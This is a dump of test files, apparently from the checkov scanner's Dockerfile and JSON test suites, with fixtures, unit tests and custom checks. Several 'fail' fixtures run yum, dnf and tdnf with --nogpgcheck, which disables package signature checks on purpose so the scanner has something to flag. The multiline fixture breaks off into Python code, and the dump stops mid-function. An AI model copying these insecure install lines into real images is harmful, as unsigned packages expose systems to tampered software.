'fail/Dockerfile.tdnf.RUN' - 'fail/Dockerfile.wilderness.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/fail/Dockerfile.dnf ================================================ FROM fedora:rawhide RUN dnf install -y --nogpgcheck python3 RUN dnf --nogpgcheck install -y python3 RUN dnf \ --nogpgcheck \ install python3 RUN dnf \ install -y python3 \ --nogpgcheck RUN echo "prodsec" && dnf --nogpgcheck -y install python3 ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/fail/Dockerfile.tdnf ================================================ FROM fedora:rawhide RUN tdnf install -y --nogpgcheck python3 RUN tdnf --nogpgcheck install -y python3 RUN tdnf \ --nogpgcheck \ install python3 RUN tdnf \ install -y python3 \ --nogpgcheck RUN echo "prodsec" && tdnf --nogpgcheck -y install python3 ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/fail/Dockerfile.wilderness ================================================ FROM openjdk:ship RUN tdnf -y update && \ tdnf -y upgrade && \ tdnf install -y ${package} shadow-utils --nogpgcheck && \ tdnf clean all ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/fail/Dockerfile.yum ================================================ FROM fedora:rawhide RUN yum install -y --nogpgcheck python3 RUN yum --nogpgcheck install -y python3 RUN yum \ --nogpgcheck \ install python3 RUN yum \ install -y python3 \ --nogpgcheck RUN echo "prodsec" && yum --nogpgcheck -y install python3 ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/pass/Dockerfile ================================================ FROM fedora:rawhide RUN yum install python3 RUN dnf install -y python3 RUN tdnf install python3 RUN yum install python3 | grep "--nogpgcheck" RUN dnf install python3 | grep "--nogpgcheck" RUN tdnf install python3 | grep "--nogpgcheck" RUN yum update && yum upgrade \ python3 RUN dnf update && dnf upgrade \ python3 RUN tdnf update && tdnf upgrade \ python3 RUN yum update &&\ echo "--nogpgcheck" RUN dnf update ||\ echo "--nogpgcheck" RUN tdnf update ||\ echo "--nogpgcheck" ================================================ FILE: tests/dockerfile/graph_builder/checks/test_yaml_policies.py ================================================ import os import warnings from pathlib import Path from typing import List from parameterized import parameterized_class from tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.bridgecrew.check_type import CheckType from checkov.dockerfile.graph_manager import DockerfileGraphManager from tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestYamlPolicies(TestYamlPoliciesBase): def __init__(self, args): db_connector = set_db_connector_by_graph_framework(self.graph_framework) graph_manager = DockerfileGraphManager(db_connector=db_connector) super().__init__( graph_manager=graph_manager, real_graph_checks_path=str( Path(__file__).parent.parent.parent.parent.parent / "checkov/dockerfile/checks/graph_checks" ), test_checks_path="", check_type=CheckType.GITHUB_ACTIONS, test_file_path=__file__, args=args, ) def setUp(self) -> None: warnings.filterwarnings("ignore", category=ResourceWarning) warnings.filterwarnings("ignore", category=DeprecationWarning) def test_RunUsingSudo(self): self.go("RunUsingSudo") def test_RunUnsafeCurl(self): self.go("RunUnsafeCurl") def test_RunUnsafeWget(self): self.go("RunUnsafeWget") def test_RunPipTrustedHost(self): self.go("RunPipTrustedHost") def test_EnvPythonHttpsVerify(self): self.go("EnvPythonHttpsVerify") def test_EnvNodeTlsRejectUnauthorized(self): self.go("EnvNodeTlsRejectUnauthorized") def test_RunApkAllowUntrusted(self): self.go("RunApkAllowUntrusted") def test_RunAptGetAllowUnauthenticated(self): self.go("RunAptGetAllowUnauthenticated") def test_RunYumNoGpgCheck(self): self.go("RunYumNoGpgCheck") def test_RunRpmNoSignature(self): self.go("RunRpmNoSignature") def test_RunAptGetForceYes(self): self.go("RunAptGetForceYes") def test_EnvNpmConfigStrictSsl(self): self.go("EnvNpmConfigStrictSsl") def test_RunNpmConfigSetStrictSsl(self): self.go("RunNpmConfigSetStrictSsl") def test_EnvGitSslNoVerify(self): self.go("EnvGitSslNoVerify") def test_RunYumConfigManagerSslVerify(self): self.go("RunYumConfigManagerSslVerify") def test_EnvPipTrustedHost(self): self.go("EnvPipTrustedHost") def test_RunChpasswd(self): self.go("RunChpasswd") def test_registry_load(self): registry = self.get_checks_registry() self.assertGreater(len(registry.checks), 0) def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]): evaluated_keys_results = results[0].check_result["evaluated_keys"] self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results) def create_report_from_graph_checks_results(self, checks_results, check): report = Report(CheckType.GITHUB_ACTIONS) first_results_key = list(checks_results.keys())[0] for check_result in checks_results[first_results_key]: entity = check_result["entity"] record = Record( check_id=check["id"], check_name=check["name"], check_result=check_result, code_block=[(0, "")], file_path=entity.get(CustomAttributes.FILE_PATH), file_line_range=[entity.get("__startline__"), entity.get("__endline__")], resource=entity.get(CustomAttributes.RESOURCE_TYPE), entity_tags=entity.get("tags", {}), evaluations=None, check_class="", file_abs_path=entity.get(CustomAttributes.FILE_PATH), ) if check_result["result"] == CheckResult.PASSED: report.passed_checks.append(record) if check_result["result"] == CheckResult.FAILED: report.failed_checks.append(record) return report def assert_entities(self, expected_entities: List[str], results: List[Record], assertion: bool): self.assertEqual( len(expected_entities), len(results), f"mismatch in number of results in {'passed' if assertion else 'failed'}, " f"expected: {len(expected_entities)}, got: {len(results)}", ) for expected_entity in expected_entities: found = False for check_result in results: entity_id = f"{check_result.file_path.lstrip('/')}.{check_result.resource}" if entity_id == expected_entity: found = True break self.assertTrue(found, f"expected to find entity {expected_entity}, {'passed' if assertion else 'failed'}") ================================================ FILE: tests/dockerfile/graph_builder/test_local_graph.py ================================================ from collections import Counter from pathlib import Path from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.dockerfile.graph_builder.graph_components.resource_types import ResourceType from checkov.dockerfile.graph_builder.local_graph import DockerfileLocalGraph from checkov.dockerfile.runner import Runner from checkov.dockerfile.utils import get_scannable_file_paths, get_files_definitions RESOURCES_DIR = Path(__file__).parent.parent / "resources" def test_build_graph(): # given test_dir_path = RESOURCES_DIR / "expose_port" files_list = get_scannable_file_paths(root_folder=test_dir_path) definitions, _ = get_files_definitions(files_list) local_graph = DockerfileLocalGraph(definitions=definitions) # when local_graph.build_graph(render_variables=False) # then assert len(local_graph.vertices) == 16 assert len(local_graph.edges) == 0 assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == 16 resource_type_counts = Counter( [vertex.attributes.get(CustomAttributes.RESOURCE_TYPE) for vertex in local_graph.vertices] ) assert resource_type_counts == Counter( { ResourceType.FROM: 3, ResourceType.RUN: 3, ResourceType.EXPOSE: 3, ResourceType.CMD: 3, ResourceType.COPY: 2, ResourceType.WORKDIR: 1, ResourceType.HEALTHCHECK: 1, } ) ================================================ FILE: tests/dockerfile/image_referencer/__init__.py ================================================ ================================================ FILE: tests/dockerfile/image_referencer/resources/Dockerfile.multi_platform ================================================ FROM --platform=$BUILDPLATFORM golang:alpine AS build ARG TARGETPLATFORM ARG BUILDPLATFORM RUN echo "I am running on $BUILDPLATFORM, building for $TARGETPLATFORM" > /log FROM alpine COPY --from=build /log /log ================================================ FILE: tests/dockerfile/image_referencer/resources/Dockerfile.multi_stage ================================================ # Build stage FROM maven:3.8-openjdk-17-slim AS build COPY pom.xml /app/pom.xml COPY src /app/src RUN mvn -f /app/pom.xml clean package # Run stage FROM amazonlinux:2 AS run RUN yum install -y java-17-amazon-corretto-headless COPY --from=build /app/target/main-1.0-SNAPSHOT-jar-with-dependencies.jar /app/app.jar CMD ["java","-jar","/app/app.jar"] ================================================ FILE: tests/dockerfile/image_referencer/resources/Dockerfile.simple ================================================ FROM php:7.1-apache RUN apk --no-cache add nginx ================================================ FILE: tests/dockerfile/image_referencer/test_manager.py ================================================ from checkov.common.images.image_referencer import Image from checkov.dockerfile.image_referencer.manager import DockerfileImageReferencerManager def test_extract_images_from_resources(): # given definitions = { "/Dockerfile": { "FROM": [ { "instruction": "FROM", "startline": 0, "endline": 0, "content": "FROM php:7.1-apache\n", "value": "php:7.1-apache", } ], "RUN": [ { "instruction": "RUN", "startline": 2, "endline": 2, "content": "RUN apk --no-cache add nginx\n", "value": "apk --no-cache add nginx", }, ], }, } # when images = DockerfileImageReferencerManager(definitions=definitions).extract_images_from_resources() # then assert images == [ Image( file_path="/Dockerfile", name="php:7.1-apache", start_line=1, end_line=1, related_resource_id="/Dockerfile:/Dockerfile.FROM", ), ] ================================================ FILE: tests/dockerfile/image_referencer/test_provider.py ================================================ from checkov.common.images.image_referencer import Image from checkov.dockerfile.image_referencer.provider import DockerfileProvider def test_extract_images_from_resources(): # given definitions = { "/Dockerfile": { "FROM": [ { "instruction": "FROM", "startline": 0, "endline": 0, "content": "FROM maven:3.8-openjdk-17-slim AS build\n", "value": "maven:3.8-openjdk-17-slim AS build", }, { "instruction": "FROM", "startline": 4, "endline": 4, "content": "FROM amazonlinux:2 AS run\n", "value": "amazonlinux:2", }, ], "RUN": [ { "instruction": "RUN", "startline": 2, "endline": 2, "content": "RUN apt-get install -y curl\n", "value": "apt-get install -y curl", }, ], }, } # when provider = DockerfileProvider(definitions=definitions) images = provider.extract_images_from_resources() # then assert images == [ Image( file_path="/Dockerfile", name="amazonlinux:2", start_line=5, end_line=5, related_resource_id="/Dockerfile:/Dockerfile.FROM", ), ] def test_extract_images_from_resources_with_no_image(): # given definitions = { "/Dockerfile": { "RUN": [ { "instruction": "RUN", "startline": 2, "endline": 2, "content": "RUN apt-get install -y curl\n", "value": "apt-get install -y curl", }, ], }, } # when provider = DockerfileProvider(definitions=definitions) images = provider.extract_images_from_resources() # then assert not images ================================================ FILE: tests/dockerfile/image_referencer/test_runner_dockerfile_resources.py ================================================ from pathlib import Path from pytest_mock import MockerFixture from checkov.common.bridgecrew.bc_source import get_source_type from checkov.common.bridgecrew.check_type import CheckType from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter from tests.common.image_referencer.test_utils import mock_get_license_statuses_async, mock_get_image_cached_result_async RESOURCES_PATH = Path(__file__).parent / "resources" def test_simple_dockerfile(mocker: MockerFixture): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "Dockerfile.simple" image_name = "php:7.1-apache" code_lines = "1-1" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_license_statuses_async, ) # when reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 tf_report = next(report for report in reports if report.check_type == CheckType.DOCKERFILE) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(tf_report.resources) == 1 assert len(tf_report.passed_checks) == 21 assert len(tf_report.failed_checks) == 2 assert len(tf_report.skipped_checks) == 0 assert len(tf_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 3 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl", f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl", f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert sca_image_report.image_cached_results[0]["dockerImageName"] == "php:7.1-apache" assert "Dockerfile.simple.FROM" in sca_image_report.image_cached_results[0]["relatedResourceId"] assert sca_image_report.image_cached_results[0]["packages"] == [ {"type": "os", "name": "tzdata", "version": "2021a-1+deb11u5", "licenses": []} ] assert len(sca_image_report.passed_checks) == 1 assert len(sca_image_report.failed_checks) == 4 assert len(sca_image_report.image_cached_results) == 1 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 def test_multi_stage_dockerfile(mocker: MockerFixture): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "Dockerfile.multi_stage" image_name_1 = "maven:3.8-openjdk-17-slim" image_name_2 = "amazonlinux:2" code_lines_1 = "2-2" code_lines_2 = "10-10" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) # when reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 tf_report = next(report for report in reports if report.check_type == CheckType.DOCKERFILE) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(tf_report.resources) == 1 assert len(tf_report.passed_checks) == 38 assert len(tf_report.failed_checks) == 2 assert len(tf_report.skipped_checks) == 0 assert len(tf_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == { f"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 def test_multi_platform_dockerfile(mocker: MockerFixture): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "Dockerfile.multi_platform" image_name_1 = "golang:alpine" image_name_2 = "alpine" code_lines_1 = "1-1" code_lines_2 = "8-8" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) # when reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 tf_report = next(report for report in reports if report.check_type == CheckType.DOCKERFILE) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(tf_report.resources) == 1 assert len(tf_report.passed_checks) == 30 assert len(tf_report.failed_checks) == 3 assert len(tf_report.skipped_checks) == 0 assert len(tf_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == { f"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 ================================================ FILE: tests/dockerfile/resources/__init__.py ================================================ ================================================ FILE: tests/dockerfile/resources/empty_dockerfile/Dockerfile ================================================ ================================================ FILE: tests/dockerfile/resources/expose_port/fail/Dockerfile ================================================ FROM node:alpine WORKDIR /usr/src/app COPY package*.json ./ RUN npm install COPY . . EXPOSE 3000 22 HEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1 CMD ["node","app.js"] ================================================ FILE: tests/dockerfile/resources/expose_port/pass/Dockerfile ================================================ FROM gliderlabs/alpine:3.3 RUN apk --no-cache add nginx EXPOSE 3000 80 443 CMD ["nginx", "-g", "daemon off;"] ================================================ FILE: tests/dockerfile/resources/expose_port/skip/Dockerfile ================================================ #checkov:skip=CKV_DOCKER_5: no need to skip #checkov:skip=CKV2_DOCKER_7: no need to skip graph check FROM gliderlabs/alpine:3.3 RUN apk --no-cache add nginx EXPOSE 3000 80 443 22 #checkov:skip=CKV_DOCKER_1: required CMD ["nginx", "-g", "daemon off;"] ================================================ FILE: tests/dockerfile/resources/multiline_command/Dockerfile ================================================ # syntax=docker/dockerfile:1.4 FROM docker.io/library/ubuntu:22.04 RUN < None: self.orig_checks = registry.checks def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.DOCKERFILE) def test_runner_empty_dockerfile(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/empty_dockerfile" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='all')) self.assertEqual(report.failed_checks, []) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) def test_runner_name_variations(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/name_variations" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='all')) self.assertEqual(len(report.resources), 2) self.assertEqual(len([file for file in report.resources if 'Dockerfile.prod' in file]), 1) self.assertEqual(len([file for file in report.resources if 'prod.dockerfile' in file]), 1) def test_runner_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/expose_port/fail" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='all',checks=['CKV_DOCKER_1'])) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/expose_port/fail" runner = Runner(db_connector=self.db_connector()) filter = RunnerFilter(framework=['dockerfile'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.DOCKERFILE: Severities[BcSeverities.OFF]} report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=filter) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.parsing_errors), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) def test_runner_failing_check_with_file_path(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_file_path = current_dir + "/resources/expose_port/fail/Dockerfile" runner = Runner(db_connector=self.db_connector()) report = runner.run( files=[valid_file_path], external_checks_dir=None, runner_filter=RunnerFilter(framework="all", checks=["CKV_DOCKER_1"]), ) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) def test_runner_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/expose_port/pass" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["all"],checks=["CKV_DOCKER_1", "CKV2_DOCKER_1"])) self.assertEqual(len(report.passed_checks), 2) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.failed_checks, []) self.assertEqual(report.skipped_checks, []) # also check the abs file paths record_python = next(check for check in report.passed_checks if check.check_id == "CKV_DOCKER_1") assert record_python.file_abs_path.endswith("tests/dockerfile/resources/expose_port/pass/Dockerfile") record_graph = next(check for check in report.passed_checks if check.check_id == "CKV2_DOCKER_1") assert record_graph.file_abs_path.endswith("tests/dockerfile/resources/expose_port/pass/Dockerfile") def test_runner_skip_check(self): # given valid_dir_path = Path(__file__).parent / "resources/expose_port/skip" # when report = Runner(db_connector=self.db_connector()).run( root_folder=str(valid_dir_path), external_checks_dir=None, runner_filter=RunnerFilter( framework=["dockerfile"], checks=["CKV_DOCKER_1", "CKV_DOCKER_5", "CKV_DOCKER_9", "CKV2_DOCKER_7"], ), ) # then summary = report.get_summary() self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 0) self.assertEqual(summary["skipped"], 3) self.assertEqual(summary["parsing_errors"], 0) expected_skipped_cehcks = [record.check_id for record in report.skipped_checks] self.assertCountEqual(["CKV_DOCKER_1", "CKV_DOCKER_5", "CKV2_DOCKER_7"], expected_skipped_cehcks) def test_record_has_severity(self): custom_check_id = "MY_CUSTOM_CHECK" registry.checks = defaultdict(list) class AnyFailingCheck(BaseDockerfileCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["RUN"] ) def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str): return CheckResult.FAILED, conf[0] check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/expose_port/fail" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='dockerfile', checks=[custom_check_id])) self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW]) def test_runner_severity(self): custom_check_id = "MY_CUSTOM_CHECK" registry.checks = defaultdict(list) class AnyFailingCheck(BaseDockerfileCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["RUN"] ) def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str): return CheckResult.FAILED, conf[0] check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/expose_port/fail" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='dockerfile', checks=['MEDIUM'])) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_runner_severity_omit(self): custom_check_id = "MY_CUSTOM_CHECK" registry.checks = defaultdict(list) class AnyFailingCheck(BaseDockerfileCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["RUN"] ) def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str): return CheckResult.FAILED, conf[0] check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/expose_port/fail" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='dockerfile', checks=['CRITICAL'])) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_runner_skip_severity(self): custom_check_id = "MY_CUSTOM_CHECK" registry.checks = defaultdict(list) class AnyFailingCheck(BaseDockerfileCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["RUN"] ) def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str): return CheckResult.FAILED, conf[0] check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/expose_port/fail" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='dockerfile', checks=['MEDIUM'])) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_runner_skip_severity_omit(self): custom_check_id = "MY_CUSTOM_CHECK" registry.checks = defaultdict(list) class AnyFailingCheck(BaseDockerfileCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["RUN"] ) def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str): return CheckResult.FAILED, conf[0] check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/expose_port/fail" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='dockerfile', skip_checks=['MEDIUM'])) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_skip_wildcard_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/wildcard_skip" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['dockerfile'])) self.assertEqual(len(report.skipped_checks), 1) self.assertGreaterEqual(len(report.passed_checks), 1) self.assertGreaterEqual(len(report.failed_checks), 2) def test_wrong_check_imports(self): wrong_imports = ["arm", "cloudformation", "helm", "kubernetes", "serverless", "terraform"] check_imports = [] checks_path = Path(inspect.getfile(Runner)).parent.joinpath("checks") for file in checks_path.rglob("*.py"): with file.open() as f: instructions = dis.get_instructions(f.read()) import_names = [instr.argval for instr in instructions if "IMPORT_NAME" == instr.opname] for import_name in import_names: wrong_import = next((import_name for x in wrong_imports if x in import_name), None) if wrong_import: check_imports.append({file.name: wrong_import}) assert len(check_imports) == 0, f"Wrong imports were added: {check_imports}" def test_get_files_definitions(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dockerfile = current_dir + "/resources/name_variations/Dockerfile.prod" not_valid_dockerfile = current_dir + "/resources/not_dockerfile/dockerfile.png" results = get_files_definitions([valid_dockerfile, not_valid_dockerfile]) assert len(results) == 2 assert len(results[0]) == 1 and list(results[0].keys())[0] == valid_dockerfile assert len(results[1]) == 1 and list(results[1].keys())[0] == valid_dockerfile def test_runner_extra_resources(self): # given test_file = RESOURCES_DIR / "name_variations/Dockerfile.prod" # when report = Runner(db_connector=self.db_connector()).run( files=[str(test_file)], runner_filter=RunnerFilter(framework=['dockerfile'], checks=["CKV_DOCKER_4"]) # chose a check, which will find nothing ) # then summary = report.get_summary() self.assertEqual(summary["passed"], 0) self.assertEqual(summary["failed"], 0) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 1) self.assertEqual(len(report.extra_resources), 1) extra_resource = next(iter(report.extra_resources)) self.assertEqual(extra_resource.file_abs_path, str(test_file)) self.assertTrue(extra_resource.file_path.endswith("Dockerfile.prod")) def test_runner_multiline(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/multiline_command" runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='dockerfile', checks=['CKV_DOCKER_9'])) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) def tearDown(self) -> None: registry.checks = self.orig_checks if __name__ == '__main__': unittest.main() ================================================ FILE: tests/dockerfile/test_utils.py ================================================ from operator import itemgetter from pathlib import Path from checkov.common.util.dockerfile import is_dockerfile from checkov.dockerfile.graph_builder.graph_components.resource_types import ResourceType from checkov.dockerfile.utils import get_files_definitions, build_definitions_context VALID_DOCKERFILE_NAMES = [ "Dockerfile", "dockerfile", "Dockerfile.prod", "Dockerfile.Product1", "dev.Dockerfile", "team1.product.dockerfile", ] INVALID_DOCKERFILE_NAMES = [ "package.json", "dockerfil", "dockerfilee", ".dockerfile", "ddockerfile", "ockerfile", "docker-file", "dockerfile1", "Dockerfile.env.dockerignore", "Dockerfile.env.Dockerignore", "dockerfile.dockerignore", ] def test_is_dockerfile(): assert all(is_dockerfile(curr_name) for curr_name in VALID_DOCKERFILE_NAMES) assert all(not is_dockerfile(curr_name) for curr_name in INVALID_DOCKERFILE_NAMES) def test_build_definitions_context(): # given file_path = Path(__file__).parent / "resources/expose_port/skip/Dockerfile" definitions, definitions_raw = get_files_definitions(files=[str(file_path)]) # when context = build_definitions_context(definitions=definitions, definitions_raw=definitions_raw) assert len(context) == 1 definition_context = next(iter(context.values())) assert len(definition_context) == 4 run_instructions = definition_context[ResourceType.RUN] assert len(run_instructions) == 1 run_instruction = run_instructions[0] assert run_instruction["start_line"] == 4 assert run_instruction["end_line"] == 4 assert run_instruction["code_lines"] == [(4, "RUN apk --no-cache add nginx\n")] for skip in run_instruction["skipped_checks"]: skip.pop("bc_id", None) # depending on the test order they are set or not assert sorted(run_instruction["skipped_checks"], key=itemgetter("id")) == sorted( [ {"id": "CKV_DOCKER_1", "line_number": 5, "suppress_comment": " required"}, {"id": "CKV_DOCKER_5", "line_number": 0, "suppress_comment": " no need to skip"}, {"id": "CKV2_DOCKER_7", "line_number": 1, "suppress_comment": " no need to skip graph check"}, ], key=itemgetter("id"), ) ================================================ FILE: tests/generic_json/__init__.py ================================================ ================================================ FILE: tests/generic_json/checks/__init__.py ================================================ ================================================ FILE: tests/generic_json/checks/array/BarAndBazToggleIsTrue.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.json_doc.base_json_check import BaseJsonCheck from checkov.json_doc.enums import BlockType class BarAndBazToggleIsTrue(BaseJsonCheck): def __init__(self): name = "A bar should have toggle set to true" id = "CKV_BARBAZ_1" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=["bar", "baz"], block_type=BlockType.ARRAY ) def scan_entity_conf(self, conf, entity_type): if "toggle" in conf and conf["toggle"]: return CheckResult.PASSED return CheckResult.FAILED check = BarAndBazToggleIsTrue() ================================================ FILE: tests/generic_json/checks/array/__init__.py ================================================ ================================================ FILE: tests/generic_json/checks/complex/ValueIsAtLeastTwo.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.json_doc.base_json_check import BaseJsonCheck from checkov.json_doc.enums import BlockType class ValueIsAtLeastTwo(BaseJsonCheck): def __init__(self): name = "Ensure that an object has a value >= 2" id = "CKV_COMPLEX_1" categories = [CheckCategories.CONVENTION] super().__init__( name=name, id=id, categories=categories, supported_entities=["prop_is_array_of_object"], block_type=BlockType.ARRAY, path="array_of_objects" ) def scan_entity_conf(self, conf, entity_type): for obj in conf: if 